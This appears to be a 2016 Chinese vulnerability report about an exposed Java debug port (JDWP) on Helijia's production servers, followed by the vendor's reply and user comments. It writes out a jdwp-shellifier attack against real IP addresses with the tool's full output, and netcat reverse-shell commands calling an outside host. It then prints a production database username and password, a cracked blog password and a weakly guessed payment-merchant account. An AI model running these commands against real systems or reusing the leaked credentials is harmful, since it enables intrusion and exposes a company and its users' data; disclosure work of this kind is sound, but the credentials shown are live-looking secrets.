河狸家远程命令执行致线上服务器沦陷

线上两台服务器均存在问题：

# python jdwp-shellifier.py -t 101.251.214.137 -p 11150

[+] Targeting '101.251.214.137:11150'

[+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.7.0_72'

[+] Found Runtime class: id=19d5

[+] Found Runtime.getRuntime(): id=4514090

[+] Created break event id=2

[+] Waiting for an event on 'java.net.ServerSocket.accept'

[+] Received matching event from thread 0x1c7a

[+] Found Java Virtual Machine specification vendor 'Oracle Corporation'

[+] Found Java Runtime Environment specification name 'Java Platform API Specification'

[+] Found Path of extension directory or directories '/usr/local/jdk1.7.0_72/jre/lib/ext:/usr/java/packages/lib/ext'

[+] Found Java Runtime Environment specification vendor 'Oracle Corporation'

[+] Found Java Virtual Machine specification version '1.7'

[+] Found Operating system name 'Linux'

[+] Found Default temp file path '/home/www/wwwroot/tomcat7-weixin-11100/temp'

[+] Found User's current working directory '/home/www/wwwroot/tomcat7-weixin-11100/webapps/hlj_wx'

[+] Found Java installation directory '/usr/local/jdk1.7.0_72/jre'

[+] Found User's account name 'sysop'

[+] Found Java Virtual Machine implementation vendor 'Oracle Corporation'

[+] Found Java Runtime Environment vendor 'Oracle Corporation'

[+] Found Path separator ':'

[+] Found Java vendor URL 'http://java.oracle.com/'

[+] Found Java class path '/home/www/wwwroot/tomcat7-weixin-11100/bin/bootstrap.jar:/home/www/wwwroot/tomcat7-weixin-11100/bin/tomcat-juli.jar'

[+] Found Java Runtime Environment specification version '1.7'

[+] Found Operating system version '3.2.0-4-amd64'

[+] Found Operating system architecture 'amd64'

[+] Found Java Runtime Environment version '1.7.0_72'

[+] Found Java Virtual Machine implementation version '24.72-b04'

[+] Found Java Virtual Machine specification name 'Java Virtual Machine Specification'

[+] Found File separator '/'

[-] java.compiler: Unexpected returned type: expecting String

[+] Found Java class format version number '51.0'

[+] Found List of paths to search when loading libraries '/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib'

[+] Found Java Virtual Machine implementation name 'Java HotSpot(TM) 64-Bit Server VM'

[+] Found User's home directory '/home/sysop'

[!] Command successfully executed

然后漏洞利用：

python jdwp-shellifier.py -t 101.251.214.139 -p 20150 --cmd "nc xx.xx.xx.xx 1234 -e /bin/bash"

python jdwp-shellifier.py -t 101.251.214.137 -p 11150 --cmd "nc xx.xx.xx.xx 1234 -e /bin/bash"

139 为测试机，137 比较重要。

我们看下137 的土豪配置：

http://pay.int.helijia.com/HljPayService/user/login 河狸家交易系统

通过反弹的shell读配置文件：

cat WEB-INF/classes/application.properties

#web.url=http/://localhost/:8080/PayService

#domain=127.0.0.1

web.url=http/://pay.int.helijia.com/HljPayService

domain=pay.int.helijia.com

cat WEB-INF/classes/datasource.properties

#jdbc druid

jdbc.driverClassName=com.mysql.jdbc.Driver

jdbc.url=jdbc:mysql://db.pro.helijia.com:3306/sms?characterEncoding=utf8&useUnicode=true&zeroDateTimeBehavior=convertToNull&transformedBitIsBoolean=true

jdbc.username=hlj_pay_write

jdbc.password=Ebu455YNkZU4Kkee

发现虽然看上去对数据库进行了分表，但是用这个账户密码登录仍然能访问全站库：

证明下库的真实性，翻到了线上blog 的账户密码，破解了一个比较弱的密码：

dahai hello1234

额，百度钱包商家端密码太弱了，账户是1000078282 ，密码我就随手一猜。。。

1，JDWP是用于调试器和被调试的 Java 虚拟机之间通信的一种协议。它是Java平台调试体系结构(Java Platform Debugger Architecture, JPDA)的第一层。所以禁用debug 端口。

2，那么多线上系统放一起真的好吗？

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2016-04-19 22:53

厂商回复：

谢谢路人甲大神帮助发现此安全漏洞。我们尽快组织彻底排查并修复。

最新状态：

暂无

1. 2016-04-19 21:36 | 番茄师傅 ( 普通白帽子 | Rank:354 漏洞数:82 | http://www.tomatoyu.com/)

   0

   @肉肉

   1# 回复此人

2. 2016-04-19 21:40 | answer ( 普通白帽子 | Rank:453 漏洞数:49 | 答案)

   0

   @肉肉

   2# 回复此人

3. 2016-04-19 21:41 | j0k3r ( 普通白帽子 | Rank:783 漏洞数:36 | 心有猛虎，细嗅蔷薇)

   0

   @肉肉

   3# 回复此人

4. 2016-04-19 22:58 | Noxxx ( 普通白帽子 | Rank:720 漏洞数:43 )

   0

   @肉肉

   4# 回复此人

5. 2016-04-20 00:33 | 从容 ( 普通白帽子 | Rank:415 漏洞数:96 | 哇啦啦啦啦啦 我的宝贝 | ..)

   0

   可怕的号召力

   5# 回复此人

6. 2016-04-20 10:14 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

   0

   @肉肉

   6# 回复此人

7. 2016-04-21 11:15 | 肉肉 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技，肉肉在长亭科技，肉肉在长...)

   0

   。。。。这。。。。

   7# 回复此人

8. 2016-06-03 23:30 | jackyu ( 路人 | Rank:28 漏洞数:18 | 世界上没有一个系统是绝对安全的，系统最大...)

   0

   这是发骚的节奏吗

   8# 回复此人